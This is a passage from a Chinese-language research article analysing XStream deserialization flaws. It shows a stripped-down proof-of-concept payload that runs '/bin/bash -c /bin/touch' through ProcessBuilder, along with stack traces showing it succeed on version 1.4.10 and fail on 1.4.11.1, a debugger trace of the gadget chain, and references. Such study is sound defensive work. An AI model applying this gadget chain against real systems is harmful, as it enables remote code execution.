    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:281)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:73)
    at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:110)
    at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98)
    at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92)
    at com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:503)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:429)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:281)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:73)
    at com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:106)
    at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98)
    at com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92)
    at com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
    at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
    at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)

15) 基于linked-hash-set的PoC(linked-hash-set.xml)

参[16]


/bin/bash -c /bin/touch /tmp/scz_is_here false java.lang.ProcessBuilder start foo foo


这个PoC适用于如下版本的XStream:

1.4.10

未测试更低版本

$ java -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 linked-hash-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: ---- Debugging information ---- cause-exception : java.lang.ClassCastException cause-message : java.lang.String cannot be cast to java.security.Provider$Service class : java.util.LinkedHashSet required-type : java.util.LinkedHashSet converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter path : /linked-hash-set/jdk.nashorn.internal.objects.NativeString line number : 38 version : 1.4.10


    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:70)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1486)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1466)
    at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1346)
    at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)

Caused by: java.lang.ClassCastException: java.lang.String cannot be cast to java.security.Provider$Service at javax.crypto.Cipher.chooseFirstProvider(Cipher.java:745) at javax.crypto.Cipher.update(Cipher.java:1827) at javax.crypto.CipherInputStream.getMoreData(CipherInputStream.java:139) at javax.crypto.CipherInputStream.read(CipherInputStream.java:246) at com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx.readFrom(ByteArrayOutputStreamEx.java:65) at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get(Base64Data.java:182) at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString(Base64Data.java:286) at jdk.nashorn.internal.objects.NativeString.getStringValue(NativeString.java:121) at jdk.nashorn.internal.objects.NativeString.hashCode(NativeString.java:117) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.put(HashMap.java:612) at java.util.HashSet.add(HashSet.java:220) at com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection(CollectionConverter.java:99) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:91) at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:85) at com.thoughtworks.xstream.converters.collections.CollectionConverter.unmarshal(CollectionConverter.java:80) at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) ... 9 more

1.4.11.1的InternalBlackList不但对付了"java.beans.EventHandler",还对付了 "javax.crypto.*",因此linked-hash-set.xml在1.4.11.1上失败。

$ java -cp "xstream-1.4.11.1.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 linked-hash-set.xml 0 Security framework of XStream not initialized, XStream is probably vulnerable. Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected. ---- Debugging information ---- message : Security alert. Unmarshalling rejected. class : javax.crypto.CipherInputStream required-type : javax.crypto.CipherInputStream converter-type : com.thoughtworks.xstream.XStream$InternalBlackList path : /linked-hash-set/jdk.nashorn.internal.objects.NativeString/value/dataHandler/dataSource/is line number : 6 class[1] : com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource required-type[1] : com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource converter-type[1] : com.thoughtworks.xstream.converters.reflection.ReflectionConverter class[2] : javax.activation.DataHandler required-type[2] : javax.activation.DataHandler class[3] : com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data required-type[3] : com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data class[4] : jdk.nashorn.internal.objects.NativeString required-type[4] : jdk.nashorn.internal.objects.NativeString class[5] : java.util.LinkedHashSet required-type[5] : java.util.LinkedHashSet converter-type[2] : com.thoughtworks.xstream.converters.collections.CollectionConverter version : 1.4.11.1


    at com.thoughtworks.xstream.XStream$InternalBlackList.unmarshal(XStream.java:2560)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshallField(AbstractReflectionConverter.java:499)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.doUnmarshal(AbstractReflectionConverter.java:425)
    at com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.unmarshal(AbstractReflectionConverter.java:277)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readBareItem(AbstractCollectionConverter.java:132)
    at com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem(AbstractCollectionConverter.java:117)
    at com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection(CollectionConverter.java:98)
    at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:91)
    at com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection(CollectionConverter.java:85)
    at com.thoughtworks.xstream.converters.collections.CollectionConverter.unmarshal(CollectionConverter.java:80)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)
    at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)
    at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1487)
    at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1467)
    at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1347)
    at DeserializeUsingXStream1.main(DeserializeUsingXStream1.java:43)

15.19) ProcessBuilder.start()调用栈回溯

$ java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y -cp "xstream-1.4.10.jar:xpp3_min-1.1.4c.jar:xmlpull-1.1.3.1.jar:." DeserializeUsingXStream1 linked-hash-set.xml 0 $ jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.ProcessBuilder.start

[1] java.lang.ProcessBuilder.start (ProcessBuilder.java:1,007), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] javax.imageio.ImageIO$ContainsFilter.filter (ImageIO.java:613), pc = 9 [7] javax.imageio.spi.FilterIterator.advance (ServiceRegistry.java:834), pc = 27 [8] javax.imageio.spi.FilterIterator.next (ServiceRegistry.java:852), pc = 21 [9] javax.crypto.Cipher.chooseFirstProvider (Cipher.java:745), pc = 133 [10] javax.crypto.Cipher.update (Cipher.java:1,827), pc = 35 [11] javax.crypto.CipherInputStream.getMoreData (CipherInputStream.java:139), pc = 99 [12] javax.crypto.CipherInputStream.read (CipherInputStream.java:246), pc = 20 [13] com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx.readFrom (ByteArrayOutputStreamEx.java:65), pc = 61 [14] com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get (Base64Data.java:182), pc = 33 [15] com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString (Base64Data.java:286), pc = 1 [16] jdk.nashorn.internal.objects.NativeString.getStringValue (NativeString.java:121), pc = 24 [17] jdk.nashorn.internal.objects.NativeString.hashCode (NativeString.java:117), pc = 1 [18] java.util.HashMap.hash (HashMap.java:339), pc = 9 [19] java.util.HashMap.put (HashMap.java:612), pc = 2 [20] java.util.HashSet.add (HashSet.java:220), pc = 8 [21] com.thoughtworks.xstream.converters.collections.CollectionConverter.addCurrentElementToCollection (CollectionConverter.java:99), pc = 13 [22] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:91), pc = 21 [23] com.thoughtworks.xstream.converters.collections.CollectionConverter.populateCollection (CollectionConverter.java:85), pc = 5 [24] com.thoughtworks.xstream.converters.collections.CollectionConverter.unmarshal (CollectionConverter.java:80), pc = 18 [25] com.thoughtworks.xstream.core.TreeUnmarshaller.convert (TreeUnmarshaller.java:72), pc = 15 [26] com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert (AbstractReferenceUnmarshaller.java:70), pc = 236 [27] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:66), pc = 82 [28] com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother (TreeUnmarshaller.java:50), pc = 4 [29] com.thoughtworks.xstream.core.TreeUnmarshaller.start (TreeUnmarshaller.java:134), pc = 20 [30] com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal (AbstractTreeMarshallingStrategy.java:32), pc = 15 [31] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,486), pc = 36 [32] com.thoughtworks.xstream.XStream.unmarshal (XStream.java:1,466), pc = 4 [33] com.thoughtworks.xstream.XStream.fromXML (XStream.java:1,346), pc = 12 [34] DeserializeUsingXStream1.main (DeserializeUsingXStream1.java:43), pc = 25

☆ 参考资源

[9] XStream http://x-stream.github.io/ https://x-stream.github.io/tutorial.html http://x-stream.github.io/security.html http://x-stream.github.io/download.html

XStream Converters
http://x-stream.github.io/converters.html
http://x-stream.github.io/converter-tutorial.html
http://x-stream.github.io/javadoc/com/thoughtworks/xstream/converters/Converter.html

http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-src.zip
http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-bin.zip
http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.11.1/xstream-1.4.11.1.jar

http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.10/xstream-distribution-1.4.10-bin.zip
http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.10/xstream-1.4.10.jar

http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.6/xstream-1.4.6.jar

http://x-stream.github.io/CVE-2013-7285.html

[10] Java XStream反序列化漏洞 - [2019-10-21] https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ (讲了各种版本不能成功的原因)

[13] Jenkins之Java反序列化漏洞分析(CVE-2016-0792) - vul_wish [2016-03-02] https://www.freebuf.com/vuls/97659.html (是下文的译文)

Serialization Must Die: Act 2: XStream (Jenkins CVE-2016-0792) - [2016-02-24]
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream